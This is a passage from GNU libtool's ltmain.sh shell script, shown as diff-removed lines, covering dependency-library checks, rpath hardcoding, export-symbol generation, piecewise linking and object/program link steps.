- # If $name is empty we are operating on a -L argument.
- if test "$name" != "" && test "$name" != "0"; then
- $rm conftest
- $LTCC $LTCFLAGS -o conftest conftest.c $i
- # Did it work?
- if test "$?" -eq 0 ; then
- ldd_output=`ldd conftest`
- if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
- case " $predeps $postdeps " in
- *" $i "*)
- newdeplibs="$newdeplibs $i"
- i=""
- ;;
- esac
- fi
- if test -n "$i" ; then
- libname=`eval \\$echo \"$libname_spec\"`
- deplib_matches=`eval \\$echo \"$library_names_spec\"`
- set dummy $deplib_matches
- deplib_match=$2
- if test `expr "$ldd_output" : ".*$deplib_match"` -ne 0 ; then
- newdeplibs="$newdeplibs $i"
- else
- droppeddeps=yes
- $echo
- $echo "*** Warning: dynamic linker does not accept needed library $i."
- $echo "*** I have the capability to make that library automatically link in when"
- $echo "*** you link to this library. But I can only do this if you have a"
- $echo "*** shared version of the library, which you do not appear to have"
- $echo "*** because a test_compile did reveal that the linker did not use this one"
- $echo "*** as a dynamic dependency that programs can get resolved with at runtime."
- fi
- fi
- else
- droppeddeps=yes
- $echo
- $echo "*** Warning! Library $i is needed by this library but I was not able to"
- $echo "*** make it link in! You will probably need to install it or some"
- $echo "*** library that it depends on before this library will be fully"
- $echo "*** functional. Installing it before continuing would be even better."
- fi
- else
- newdeplibs="$newdeplibs $i"
- fi
- done
- fi
- ;;
- file_magic*)
- set dummy $deplibs_check_method
- file_magic_regex=`expr "$deplibs_check_method" : "$2 \(.*\)"`
- for a_deplib in $deplibs; do
- name=`expr $a_deplib : '-l\(.*\)'`
- # If $name is empty we are operating on a -L argument.
- if test "$name" != "" && test "$name" != "0"; then
- if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
- case " $predeps $postdeps " in
- *" $a_deplib "*)
- newdeplibs="$newdeplibs $a_deplib"
- a_deplib=""
- ;;
- esac
- fi
- if test -n "$a_deplib" ; then
- libname=`eval \\$echo \"$libname_spec\"`
- for i in $lib_search_path $sys_lib_search_path $shlib_search_path; do
- potential_libs=`ls $i/$libname[.-]* 2>/dev/null`
- for potent_lib in $potential_libs; do
- # Follow soft links.
- if ls -lLd "$potent_lib" 2>/dev/null \
- | grep " -> " >/dev/null; then
- continue
- fi
- # The statement above tries to avoid entering an
- # endless loop below, in case of cyclic links.
- # We might still enter an endless loop, since a link
- # loop can be closed while we follow links,
- # but so what?
- potlib="$potent_lib"
- while test -h "$potlib" 2>/dev/null; do
- potliblink=`ls -ld $potlib | ${SED} 's/.* -> //'`
- case $potliblink in
- [\\/]* | [A-Za-z]:[\\/]*) potlib="$potliblink";;
- *) potlib=`$echo "X$potlib" | $Xsed -e 's,[^/]*$,,'`"$potliblink";;
- esac
- done
- if eval $file_magic_cmd \"\$potlib\" 2>/dev/null \
- | ${SED} 10q \
- | $EGREP "$file_magic_regex" > /dev/null; then
- newdeplibs="$newdeplibs $a_deplib"
- a_deplib=""
- break 2
- fi
- done
- done
- fi
- if test -n "$a_deplib" ; then
- droppeddeps=yes
- $echo
- $echo "*** Warning: linker path does not have real file for library $a_deplib."
- $echo "*** I have the capability to make that library automatically link in when"
- $echo "*** you link to this library. But I can only do this if you have a"
- $echo "*** shared version of the library, which you do not appear to have"
- $echo "*** because I did check the linker path looking for a file starting"
- if test -z "$potlib" ; then
- $echo "*** with $libname but no candidates were found. (...for file magic test)"
- else
- $echo "*** with $libname and none of the candidates passed a file format test"
- $echo "*** using a file magic. Last file checked: $potlib"
- fi
- fi
- else
- # Add a -L argument.
- newdeplibs="$newdeplibs $a_deplib"
- fi
- done # Gone through all deplibs.
- ;;
- match_pattern*)
- set dummy $deplibs_check_method
- match_pattern_regex=`expr "$deplibs_check_method" : "$2 \(.*\)"`
- for a_deplib in $deplibs; do
- name=`expr $a_deplib : '-l\(.*\)'`
- # If $name is empty we are operating on a -L argument.
- if test -n "$name" && test "$name" != "0"; then
- if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
- case " $predeps $postdeps " in
- *" $a_deplib "*)
- newdeplibs="$newdeplibs $a_deplib"
- a_deplib=""
- ;;
- esac
- fi
- if test -n "$a_deplib" ; then
- libname=`eval \\$echo \"$libname_spec\"`
- for i in $lib_search_path $sys_lib_search_path $shlib_search_path; do
- potential_libs=`ls $i/$libname[.-]* 2>/dev/null`
- for potent_lib in $potential_libs; do
- potlib="$potent_lib" # see symlink-check above in file_magic test
- if eval $echo \"$potent_lib\" 2>/dev/null \
- | ${SED} 10q \
- | $EGREP "$match_pattern_regex" > /dev/null; then
- newdeplibs="$newdeplibs $a_deplib"
- a_deplib=""
- break 2
- fi
- done
- done
- fi
- if test -n "$a_deplib" ; then
- droppeddeps=yes
- $echo
- $echo "*** Warning: linker path does not have real file for library $a_deplib."
- $echo "*** I have the capability to make that library automatically link in when"
- $echo "*** you link to this library. But I can only do this if you have a"
- $echo "*** shared version of the library, which you do not appear to have"
- $echo "*** because I did check the linker path looking for a file starting"
- if test -z "$potlib" ; then
- $echo "*** with $libname but no candidates were found. (...for regex pattern test)"
- else
- $echo "*** with $libname and none of the candidates passed a file format test"
- $echo "*** using a regex pattern. Last file checked: $potlib"
- fi
- fi
- else
- # Add a -L argument.
- newdeplibs="$newdeplibs $a_deplib"
- fi
- done # Gone through all deplibs.
- ;;
- none | unknown | *)
- newdeplibs=""
- tmp_deplibs=`$echo "X $deplibs" | $Xsed -e 's/ -lc$//' \
- -e 's/ -[LR][^ ]*//g'`
- if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
- for i in $predeps $postdeps ; do
- # can't use Xsed below, because $i might contain '/'
- tmp_deplibs=`$echo "X $tmp_deplibs" | ${SED} -e "1s,^X,," -e "s,$i,,"`
- done
- fi
- if $echo "X $tmp_deplibs" | $Xsed -e 's/[ ]//g' \
- | grep . >/dev/null; then
- $echo
- if test "X$deplibs_check_method" = "Xnone"; then
- $echo "*** Warning: inter-library dependencies are not supported in this platform."
- else
- $echo "*** Warning: inter-library dependencies are not known to be supported."
- fi
- $echo "*** All declared inter-library dependencies are being dropped."
- droppeddeps=yes
- fi
- ;;
- esac
- versuffix=$versuffix_save
- major=$major_save
- release=$release_save
- libname=$libname_save
- name=$name_save
-
- case $host in
- *-*-rhapsody* | *-*-darwin1.[012])
- # On Rhapsody replace the C library is the System framework
- newdeplibs=`$echo "X $newdeplibs" | $Xsed -e 's/ -lc / -framework System /'`
- ;;
- esac
-
- if test "$droppeddeps" = yes; then
- if test "$module" = yes; then
- $echo
- $echo "*** Warning: libtool could not satisfy all declared inter-library"
- $echo "*** dependencies of module $libname. Therefore, libtool will create"
- $echo "*** a static module, that should work as long as the dlopening"
- $echo "*** application is linked with the -dlopen flag."
- if test -z "$global_symbol_pipe"; then
- $echo
- $echo "*** However, this would only work if libtool was able to extract symbol"
- $echo "*** lists from a program, using \`nm' or equivalent, but libtool could"
- $echo "*** not find such a program. So, this module is probably useless."
- $echo "*** \`nm' from GNU binutils and a full rebuild may help."
- fi
- if test "$build_old_libs" = no; then
- oldlibs="$output_objdir/$libname.$libext"
- build_libtool_libs=module
- build_old_libs=yes
- else
- build_libtool_libs=no
- fi
- else
- $echo "*** The inter-library dependencies that have been dropped here will be"
- $echo "*** automatically added whenever a program is linked with this library"
- $echo "*** or is declared to -dlopen it."
-
- if test "$allow_undefined" = no; then
- $echo
- $echo "*** Since this library must not contain undefined symbols,"
- $echo "*** because either the platform does not support them or"
- $echo "*** it was explicitly requested with -no-undefined,"
- $echo "*** libtool will only create a static version of it."
- if test "$build_old_libs" = no; then
- oldlibs="$output_objdir/$libname.$libext"
- build_libtool_libs=module
- build_old_libs=yes
- else
- build_libtool_libs=no
- fi
- fi
- fi
- fi
- # Done checking deplibs!
- deplibs=$newdeplibs
- fi
-
-
- # move library search paths that coincide with paths to not yet
- # installed libraries to the beginning of the library search list
- new_libs=
- for path in $notinst_path; do
- case " $new_libs " in
- *" -L$path/$objdir "*) ;;
- *)
- case " $deplibs " in
- *" -L$path/$objdir "*)
- new_libs="$new_libs -L$path/$objdir" ;;
- esac
- ;;
- esac
- done
- for deplib in $deplibs; do
- case $deplib in
- -L*)
- case " $new_libs " in
- *" $deplib "*) ;;
- *) new_libs="$new_libs $deplib" ;;
- esac
- ;;
- *) new_libs="$new_libs $deplib" ;;
- esac
- done
- deplibs="$new_libs"
-
-
- # All the library-specific variables (install_libdir is set above).
- library_names=
- old_library=
- dlname=
-
- # Test again, we may have decided not to build it any more
- if test "$build_libtool_libs" = yes; then
- if test "$hardcode_into_libs" = yes; then
- # Hardcode the library paths
- hardcode_libdirs=
- dep_rpath=
- rpath="$finalize_rpath"
- test "$mode" != relink && rpath="$compile_rpath$rpath"
- for libdir in $rpath; do
- if test -n "$hardcode_libdir_flag_spec"; then
- if test -n "$hardcode_libdir_separator"; then
- if test -z "$hardcode_libdirs"; then
- hardcode_libdirs="$libdir"
- else
- # Just accumulate the unique libdirs.
- case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in
- *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*)
- ;;
- *)
- hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir"
- ;;
- esac
- fi
- else
- eval flag=\"$hardcode_libdir_flag_spec\"
- dep_rpath="$dep_rpath $flag"
- fi
- elif test -n "$runpath_var"; then
- case "$perm_rpath " in
- *" $libdir "*) ;;
- *) perm_rpath="$perm_rpath $libdir" ;;
- esac
- fi
- done
- # Substitute the hardcoded libdirs into the rpath.
- if test -n "$hardcode_libdir_separator" &&
- test -n "$hardcode_libdirs"; then
- libdir="$hardcode_libdirs"
- if test -n "$hardcode_libdir_flag_spec_ld"; then
- eval dep_rpath=\"$hardcode_libdir_flag_spec_ld\"
- else
- eval dep_rpath=\"$hardcode_libdir_flag_spec\"
- fi
- fi
- if test -n "$runpath_var" && test -n "$perm_rpath"; then
- # We should set the runpath_var.
- rpath=
- for dir in $perm_rpath; do
- rpath="$rpath$dir:"
- done
- eval "$runpath_var='$rpath\$$runpath_var'; export $runpath_var"
- fi
- test -n "$dep_rpath" && deplibs="$dep_rpath $deplibs"
- fi
-
- shlibpath="$finalize_shlibpath"
- test "$mode" != relink && shlibpath="$compile_shlibpath$shlibpath"
- if test -n "$shlibpath"; then
- eval "$shlibpath_var='$shlibpath\$$shlibpath_var'; export $shlibpath_var"
- fi
-
- # Get the real and link names of the library.
- eval shared_ext=\"$shrext_cmds\"
- eval library_names=\"$library_names_spec\"
- set dummy $library_names
- realname="$2"
- shift; shift
-
- if test -n "$soname_spec"; then
- eval soname=\"$soname_spec\"
- else
- soname="$realname"
- fi
- if test -z "$dlname"; then
- dlname=$soname
- fi
-
- lib="$output_objdir/$realname"
- linknames=
- for link
- do
- linknames="$linknames $link"
- done
-
- # Use standard objects if they are pic
- test -z "$pic_flag" && libobjs=`$echo "X$libobjs" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP`
-
- # Prepare the list of exported symbols
- if test -z "$export_symbols"; then
- if test "$always_export_symbols" = yes || test -n "$export_symbols_regex"; then
- $show "generating symbol list for \`$libname.la'"
- export_symbols="$output_objdir/$libname.exp"
- $run $rm $export_symbols
- cmds=$export_symbols_cmds
- save_ifs="$IFS"; IFS='~'
- for cmd in $cmds; do
- IFS="$save_ifs"
- eval cmd=\"$cmd\"
- if len=`expr "X$cmd" : ".*"` &&
- test "$len" -le "$max_cmd_len" || test "$max_cmd_len" -le -1; then
- $show "$cmd"
- $run eval "$cmd" || exit $?
- skipped_export=false
- else
- # The command line is too long to execute in one step.
- $show "using reloadable object file for export list..."
- skipped_export=:
- # Break out early, otherwise skipped_export may be
- # set to false by a later but shorter cmd.
- break
- fi
- done
- IFS="$save_ifs"
- if test -n "$export_symbols_regex"; then
- $show "$EGREP -e \"$export_symbols_regex\" \"$export_symbols\" > \"${export_symbols}T\""
- $run eval '$EGREP -e "$export_symbols_regex" "$export_symbols" > "${export_symbols}T"'
- $show "$mv \"${export_symbols}T\" \"$export_symbols\""
- $run eval '$mv "${export_symbols}T" "$export_symbols"'
- fi
- fi
- fi
-
- if test -n "$export_symbols" && test -n "$include_expsyms"; then
- $run eval '$echo "X$include_expsyms" | $SP2NL >> "$export_symbols"'
- fi
-
- tmp_deplibs=
- for test_deplib in $deplibs; do
- case " $convenience " in
- *" $test_deplib "*) ;;
- *)
- tmp_deplibs="$tmp_deplibs $test_deplib"
- ;;
- esac
- done
- deplibs="$tmp_deplibs"
-
- if test -n "$convenience"; then
- if test -n "$whole_archive_flag_spec"; then
- save_libobjs=$libobjs
- eval libobjs=\"\$libobjs $whole_archive_flag_spec\"
- else
- gentop="$output_objdir/${outputname}x"
- generated="$generated $gentop"
-
- func_extract_archives $gentop $convenience
- libobjs="$libobjs $func_extract_archives_result"
- fi
- fi
-
- if test "$thread_safe" = yes && test -n "$thread_safe_flag_spec"; then
- eval flag=\"$thread_safe_flag_spec\"
- linker_flags="$linker_flags $flag"
- fi
-
- # Make a backup of the uninstalled library when relinking
- if test "$mode" = relink; then
- $run eval '(cd $output_objdir && $rm ${realname}U && $mv $realname ${realname}U)' || exit $?
- fi
-
- # Do each of the archive commands.
- if test "$module" = yes && test -n "$module_cmds" ; then
- if test -n "$export_symbols" && test -n "$module_expsym_cmds"; then
- eval test_cmds=\"$module_expsym_cmds\"
- cmds=$module_expsym_cmds
- else
- eval test_cmds=\"$module_cmds\"
- cmds=$module_cmds
- fi
- else
- if test -n "$export_symbols" && test -n "$archive_expsym_cmds"; then
- eval test_cmds=\"$archive_expsym_cmds\"
- cmds=$archive_expsym_cmds
- else
- eval test_cmds=\"$archive_cmds\"
- cmds=$archive_cmds
- fi
- fi
-
- if test "X$skipped_export" != "X:" &&
- len=`expr "X$test_cmds" : ".*" 2>/dev/null` &&
- test "$len" -le "$max_cmd_len" || test "$max_cmd_len" -le -1; then
- :
- else
- # The command line is too long to link in one step, link piecewise.
- $echo "creating reloadable object files..."
-
- # Save the value of $output and $libobjs because we want to
- # use them later. If we have whole_archive_flag_spec, we
- # want to use save_libobjs as it was before
- # whole_archive_flag_spec was expanded, because we can't
- # assume the linker understands whole_archive_flag_spec.
- # This may have to be revisited, in case too many
- # convenience libraries get linked in and end up exceeding
- # the spec.
- if test -z "$convenience" || test -z "$whole_archive_flag_spec"; then
- save_libobjs=$libobjs
- fi
- save_output=$output
- output_la=`$echo "X$output" | $Xsed -e "$basename"`
-
- # Clear the reloadable object creation command queue and
- # initialize k to one.
- test_cmds=
- concat_cmds=
- objlist=
- delfiles=
- last_robj=
- k=1
- output=$output_objdir/$output_la-${k}.$objext
- # Loop over the list of objects to be linked.
- for obj in $save_libobjs
- do
- eval test_cmds=\"$reload_cmds $objlist $last_robj\"
- if test "X$objlist" = X ||
- { len=`expr "X$test_cmds" : ".*" 2>/dev/null` &&
- test "$len" -le "$max_cmd_len"; }; then
- objlist="$objlist $obj"
- else
- # The command $test_cmds is almost too long, add a
- # command to the queue.
- if test "$k" -eq 1 ; then
- # The first file doesn't have a previous command to add.
- eval concat_cmds=\"$reload_cmds $objlist $last_robj\"
- else
- # All subsequent reloadable object files will link in
- # the last one created.
- eval concat_cmds=\"\$concat_cmds~$reload_cmds $objlist $last_robj\"
- fi
- last_robj=$output_objdir/$output_la-${k}.$objext
- k=`expr $k + 1`
- output=$output_objdir/$output_la-${k}.$objext
- objlist=$obj
- len=1
- fi
- done
- # Handle the remaining objects by creating one last
- # reloadable object file. All subsequent reloadable object
- # files will link in the last one created.
- test -z "$concat_cmds" || concat_cmds=$concat_cmds~
- eval concat_cmds=\"\${concat_cmds}$reload_cmds $objlist $last_robj\"
-
- if ${skipped_export-false}; then
- $show "generating symbol list for \`$libname.la'"
- export_symbols="$output_objdir/$libname.exp"
- $run $rm $export_symbols
- libobjs=$output
- # Append the command to create the export file.
- eval concat_cmds=\"\$concat_cmds~$export_symbols_cmds\"
- fi
-
- # Set up a command to remove the reloadable object files
- # after they are used.
- i=0
- while test "$i" -lt "$k"
- do
- i=`expr $i + 1`
- delfiles="$delfiles $output_objdir/$output_la-${i}.$objext"
- done
-
- $echo "creating a temporary reloadable object file: $output"
-
- # Loop through the commands generated above and execute them.
- save_ifs="$IFS"; IFS='~'
- for cmd in $concat_cmds; do
- IFS="$save_ifs"
- $show "$cmd"
- $run eval "$cmd" || exit $?
- done
- IFS="$save_ifs"
-
- libobjs=$output
- # Restore the value of output.
- output=$save_output
-
- if test -n "$convenience" && test -n "$whole_archive_flag_spec"; then
- eval libobjs=\"\$libobjs $whole_archive_flag_spec\"
- fi
- # Expand the library linking commands again to reset the
- # value of $libobjs for piecewise linking.
-
- # Do each of the archive commands.
- if test "$module" = yes && test -n "$module_cmds" ; then
- if test -n "$export_symbols" && test -n "$module_expsym_cmds"; then
- cmds=$module_expsym_cmds
- else
- cmds=$module_cmds
- fi
- else
- if test -n "$export_symbols" && test -n "$archive_expsym_cmds"; then
- cmds=$archive_expsym_cmds
- else
- cmds=$archive_cmds
- fi
- fi
-
- # Append the command to remove the reloadable object files
- # to the just-reset $cmds.
- eval cmds=\"\$cmds~\$rm $delfiles\"
- fi
- save_ifs="$IFS"; IFS='~'
- for cmd in $cmds; do
- IFS="$save_ifs"
- eval cmd=\"$cmd\"
- $show "$cmd"
- $run eval "$cmd" || {
- lt_exit=$?
-
- # Restore the uninstalled library and exit
- if test "$mode" = relink; then
- $run eval '(cd $output_objdir && $rm ${realname}T && $mv ${realname}U $realname)'
- fi
-
- exit $lt_exit
- }
- done
- IFS="$save_ifs"
-
- # Restore the uninstalled library and exit
- if test "$mode" = relink; then
- $run eval '(cd $output_objdir && $rm ${realname}T && $mv $realname ${realname}T && $mv "$realname"U $realname)' || exit $?
-
- if test -n "$convenience"; then
- if test -z "$whole_archive_flag_spec"; then
- $show "${rm}r $gentop"
- $run ${rm}r "$gentop"
- fi
- fi
-
- exit $EXIT_SUCCESS
- fi
-
- # Create links to the real library.
- for linkname in $linknames; do
- if test "$realname" != "$linkname"; then
- $show "(cd $output_objdir && $rm $linkname && $LN_S $realname $linkname)"
- $run eval '(cd $output_objdir && $rm $linkname && $LN_S $realname $linkname)' || exit $?
- fi
- done
-
- # If -module or -export-dynamic was specified, set the dlname.
- if test "$module" = yes || test "$export_dynamic" = yes; then
- # On all known operating systems, these are identical.
- dlname="$soname"
- fi
- fi
- ;;
-
- obj)
- if test -n "$deplibs"; then
- $echo "$modename: warning: \`-l' and \`-L' are ignored for objects" 1>&2
- fi
-
- if test -n "$dlfiles$dlprefiles" || test "$dlself" != no; then
- $echo "$modename: warning: \`-dlopen' is ignored for objects" 1>&2
- fi
-
- if test -n "$rpath"; then
- $echo "$modename: warning: \`-rpath' is ignored for objects" 1>&2
- fi
-
- if test -n "$xrpath"; then
- $echo "$modename: warning: \`-R' is ignored for objects" 1>&2
- fi
-
- if test -n "$vinfo"; then
- $echo "$modename: warning: \`-version-info' is ignored for objects" 1>&2
- fi
-
- if test -n "$release"; then
- $echo "$modename: warning: \`-release' is ignored for objects" 1>&2
- fi
-
- case $output in
- *.lo)
- if test -n "$objs$old_deplibs"; then
- $echo "$modename: cannot build library object \`$output' from non-libtool objects" 1>&2
- exit $EXIT_FAILURE
- fi
- libobj="$output"
- obj=`$echo "X$output" | $Xsed -e "$lo2o"`
- ;;
- *)
- libobj=
- obj="$output"
- ;;
- esac
-
- # Delete the old objects.
- $run $rm $obj $libobj
-
- # Objects from convenience libraries. This assumes
- # single-version convenience libraries. Whenever we create
- # different ones for PIC/non-PIC, this we'll have to duplicate
- # the extraction.
- reload_conv_objs=
- gentop=
- # reload_cmds runs $LD directly, so let us get rid of
- # -Wl from whole_archive_flag_spec
- wl=
-
- if test -n "$convenience"; then
- if test -n "$whole_archive_flag_spec"; then
- eval reload_conv_objs=\"\$reload_objs $whole_archive_flag_spec\"
- else
- gentop="$output_objdir/${obj}x"
- generated="$generated $gentop"
-
- func_extract_archives $gentop $convenience
- reload_conv_objs="$reload_objs $func_extract_archives_result"
- fi
- fi
-
- # Create the old-style object.
- reload_objs="$objs$old_deplibs "`$echo "X$libobjs" | $SP2NL | $Xsed -e '/\.'${libext}$'/d' -e '/\.lib$/d' -e "$lo2o" | $NL2SP`" $reload_conv_objs" ### testsuite: skip nested quoting test
-
- output="$obj"
- cmds=$reload_cmds
- save_ifs="$IFS"; IFS='~'
- for cmd in $cmds; do
- IFS="$save_ifs"
- eval cmd=\"$cmd\"
- $show "$cmd"
- $run eval "$cmd" || exit $?
- done
- IFS="$save_ifs"
-
- # Exit if we aren't doing a library object file.
- if test -z "$libobj"; then
- if test -n "$gentop"; then
- $show "${rm}r $gentop"
- $run ${rm}r $gentop
- fi
-
- exit $EXIT_SUCCESS
- fi
-
- if test "$build_libtool_libs" != yes; then
- if test -n "$gentop"; then
- $show "${rm}r $gentop"
- $run ${rm}r $gentop
- fi
-
- # Create an invalid libtool object if no PIC, so that we don't
- # accidentally link it into a program.
- # $show "echo timestamp > $libobj"
- # $run eval "echo timestamp > $libobj" || exit $?
- exit $EXIT_SUCCESS
- fi
-
- if test -n "$pic_flag" || test "$pic_mode" != default; then
- # Only do commands if we really have different PIC objects.
- reload_objs="$libobjs $reload_conv_objs"
- output="$libobj"
- cmds=$reload_cmds
- save_ifs="$IFS"; IFS='~'
- for cmd in $cmds; do
- IFS="$save_ifs"
- eval cmd=\"$cmd\"
- $show "$cmd"
- $run eval "$cmd" || exit $?
- done
- IFS="$save_ifs"
- fi
-
- if test -n "$gentop"; then
- $show "${rm}r $gentop"
- $run ${rm}r $gentop
- fi
-
- exit $EXIT_SUCCESS
- ;;
-
- prog)
- case $host in
- *cygwin*) output=`$echo $output | ${SED} -e 's,.exe$,,;s,$,.exe,'` ;;
- esac
- if test -n "$vinfo"; then
- $echo "$modename: warning: \`-version-info' is ignored for programs" 1>&2
- fi
-
- if test -n "$release"; then
- $echo "$modename: warning: \`-release' is ignored for programs" 1>&2
- fi
-
- if test "$preload" = yes; then
- if test "$dlopen_support" = unknown && test "$dlopen_self" = unknown &&
- test "$dlopen_self_static" = unknown; then
- $echo "$modename: warning: \`AC_LIBTOOL_DLOPEN' not used. Assuming no dlopen support."
- fi
- fi
-
- case $host in
- *-*-rhapsody* | *-*-darwin1.[012])
- # On Rhapsody replace the C library is the System framework
- compile_deplibs=`$echo "X $compile_deplibs" | $Xsed -e 's/ -lc / -framework System /'`
- finalize_deplibs=`$echo "X $finalize_deplibs" | $Xsed -e 's/ -lc / -framework System /'`
- ;;
- esac
-
- case $host in
- *darwin*)
- # Don't allow lazy linking, it breaks C++ global constructors
- if test "$tagname" = CXX ; then
- compile_command="$compile_command ${wl}-bind_at_load"
- finalize_command="$finalize_command ${wl}-bind_at_load"
- fi
- ;;
- esac
-
-
- # move library search paths that coincide with paths to not yet
- # installed libraries to the beginning of the library search list
- new_libs=
- for path in $notinst_path; do
- case " $new_libs " in
- *" -L$path/$objdir "*) ;;
- *)
- case " $compile_deplibs " in
- *" -L$path/$objdir "*)
- new_libs="$new_libs -L$path/$objdir" ;;
- esac
- ;;
- esac
- done
- for deplib in $compile_deplibs; do
- case $deplib in
- -L*)
- case " $new_libs " in
- *" $deplib "*) ;;
- *) new_libs="$new_libs $deplib" ;;
- esac
- ;;
- *) new_libs="$new_libs $deplib" ;;
- esac
- done
- compile_deplibs="$new_libs"
-
-
- compile_command="$compile_command $compile_deplibs"
- finalize_command="$finalize_command $finalize_deplibs"
-
- if test -n "$rpath$xrpath"; then
- # If the user specified any rpath flags, then add them.
- for libdir in $rpath $xrpath; do
- # This is the magic to use -rpath.
- case "$finalize_rpath " in
- *" $libdir "*) ;;
- *) finalize_rpath="$finalize_rpath $libdir" ;;
- esac
- done
- fi
-
- # Now hardcode the library paths
- rpath=
- hardcode_libdirs=
- for libdir in $compile_rpath $finalize_rpath; do
- if test -n "$hardcode_libdir_flag_spec"; then
- if test -n "$hardcode_libdir_separator"; then
- if test -z "$hardcode_libdirs"; then
- hardcode_libdirs="$libdir"
- else
- # Just accumulate the unique libdirs.
- case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in
- *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*)
- ;;
- *)
- hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir"
- ;;
- esac
- fi
- else
- eval flag=\"$hardcode_libdir_flag_spec\"
- rpath="$rpath $flag"
- fi
- elif test -n "$runpath_var"; then
- case "$perm_rpath " in
- *" $libdir "*) ;;
- *) perm_rpath="$perm_rpath $libdir" ;;
- esac
- fi
- case $host in
- *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2*)
- testbindir=`$echo "X$libdir" | $Xsed -e 's*/lib$*/bin*'`
- case :$dllsearchpath: in
- *":$libdir:"*) ;;
- *) dllsearchpath="$dllsearchpath:$libdir";;
- esac
- case :$dllsearchpath: in
- *":$testbindir:"*) ;;
- *) dllsearchpath="$dllsearchpath:$testbindir";;
- esac
- ;;
- esac
- done
- # Substitute the hardcoded libdirs into the rpath.
- if test -n "$hardcode_libdir_separator" &&
- test -n "$hardcode_libdirs"; then
- libdir="$hardcode_libdirs"
- eval rpath=\" $hardcode_libdir_flag_spec\"
- fi
- compile_rpath="$rpath"
-
- rpath=
- hardcode_libdirs=
- for libdir in $finalize_rpath; do
- if test -n "$hardcode_libdir_flag_spec"; then
- if test -n "$hardcode_libdir_separator"; then
- if test -z "$hardcode_libdirs"; then
- hardcode_libdirs="$libdir"
- else
- # Just accumulate the unique libdirs.
- case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in
- *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*)
- ;;
- *)
- hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir"
- ;;
- esac
- fi
- else
- eval flag=\"$hardcode_libdir_flag_spec\"
- rpath="$rpath $flag"
- fi
- elif test -n "$runpath_var"; then
- case "$finalize_perm_rpath " in
- *" $libdir "*) ;;
- *) finalize_perm_rpath="$finalize_perm_rpath $libdir" ;;
- esac
- fi
- done
- # Substitute the hardcoded libdirs into the rpath.
- if test -n "$hardcode_libdir_separator" &&
- test -n "$hardcode_libdirs"; then
- libdir="$hardcode_libdirs"
- eval rpath=\" $hardcode_libdir_flag_spec\"
- fi
- finalize_rpath="$rpath"
-
- if test -n "$libobjs" && test "$build_old_libs" = yes; then
- # Transform all the library objects into standard objects.
- compile_command=`$echo "X$compile_command" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP`
- finalize_command=`$echo "X$finalize_command" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP`
- fi
-
- dlsyms=
- if test -n "$dlfiles$dlprefiles" || test "$dlself" != no; then
- if test -n "$NM" && test -n "$global_symbol_pipe"; then
- dlsyms="${outputname}S.c"
- else
- $echo "$modename: not configured to extract global symbols from dlpreopened files" 1>&2
- fi
- fi
-
- if test -n "$dlsyms"; then
- case $dlsyms in
- "") ;;
- *.c)
- # Discover the nlist of each of the dlfiles.
- nlist="$output_objdir/${outputname}.nm"
-
- $show "$rm $nlist ${nlist}S ${nlist}T"
- $run $rm "$nlist" "${nlist}S" "${nlist}T"
-
- # Parse the name list into a source file.
- $show "creating $output_objdir/$dlsyms"
-
- test -z "$run" && $echo > "$output_objdir/$dlsyms" "\
-/* $dlsyms - symbol resolution table for \`$outputname' dlsym emulation. */
-/* Generated by $PROGRAM - GNU $PACKAGE $VERSION$TIMESTAMP */
-
-#ifdef __cplusplus
-extern \"C\" {
-#endif
-
-/* Prevent the only kind of declaration conflicts we can make. */
-#define lt_preloaded_symbols some_other_symbol
-
-/* External symbol declarations for the compiler. */\
-"
-
- if test "$dlself" = yes; then
- $show "generating symbol list for \`$output'"
-
- test -z "$run" && $echo ': @PROGRAM@ ' > "$nlist"
-
- # Add our own program objects to the symbol list.
- progfiles=`$echo "X$objs$old_deplibs" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP`
- for arg in $progfiles; do
- $show "extracting global C symbols from \`$arg'"
- $run eval "$NM $arg | $global_symbol_pipe >> '$nlist'"
- done
-
- if test -n "$exclude_expsyms"; then
- $run eval '$EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T'
- $run eval '$mv "$nlist"T "$nlist"'
- fi
-
- if test -n "$export_symbols_regex"; then
- $run eval '$EGREP -e "$export_symbols_regex" "$nlist" > "$nlist"T'
- $run eval '$mv "$nlist"T "$nlist"'
- fi
-
- # Prepare the list of exported symbols
- if test -z "$export_symbols"; then
- export_symbols="$output_objdir/$outputname.exp"
- $run $rm $export_symbols
- $run eval "${SED} -n -e '/^: @PROGRAM@ $/d' -e 's/^.* \(.*\)$/\1/p' "'< "$nlist" > "$export_symbols"'
- case $host in
- *cygwin* | *mingw* )
- $run eval "echo EXPORTS "'> "$output_objdir/$outputname.def"'
- $run eval 'cat "$export_symbols" >> "$output_objdir/$outputname.def"'
- ;;
- esac
- else
- $run eval "${SED} -e 's/\([].[*^$]\)/\\\\\1/g' -e 's/^/ /' -e 's/$/$/'"' < "$export_symbols" > "$output_objdir/$outputname.exp"'
- $run eval 'grep -f "$output_objdir/$outputname.exp" < "$nlist" > "$nlist"T'
- $run eval 'mv "$nlist"T "$nlist"'
- case $host in
- *cygwin* | *mingw* )
- $run eval "echo EXPORTS "'> "$output_objdir/$outputname.def"'
- $run eval 'cat "$nlist" >> "$output_objdir/$outputname.def"'
- ;;
- esac
- fi
- fi
-
- for arg in $dlprefiles; do
- $show "extracting global C symbols from \`$arg'"
- name=`$echo "$arg" | ${SED} -e 's%^.*/%%'`
- $run eval '$echo ": $name " >> "$nlist"'
- $run eval "$NM $arg | $global_symbol_pipe >> '$nlist'"
- done
-
- if test -z "$run"; then
- # Make sure we have at least an empty file.
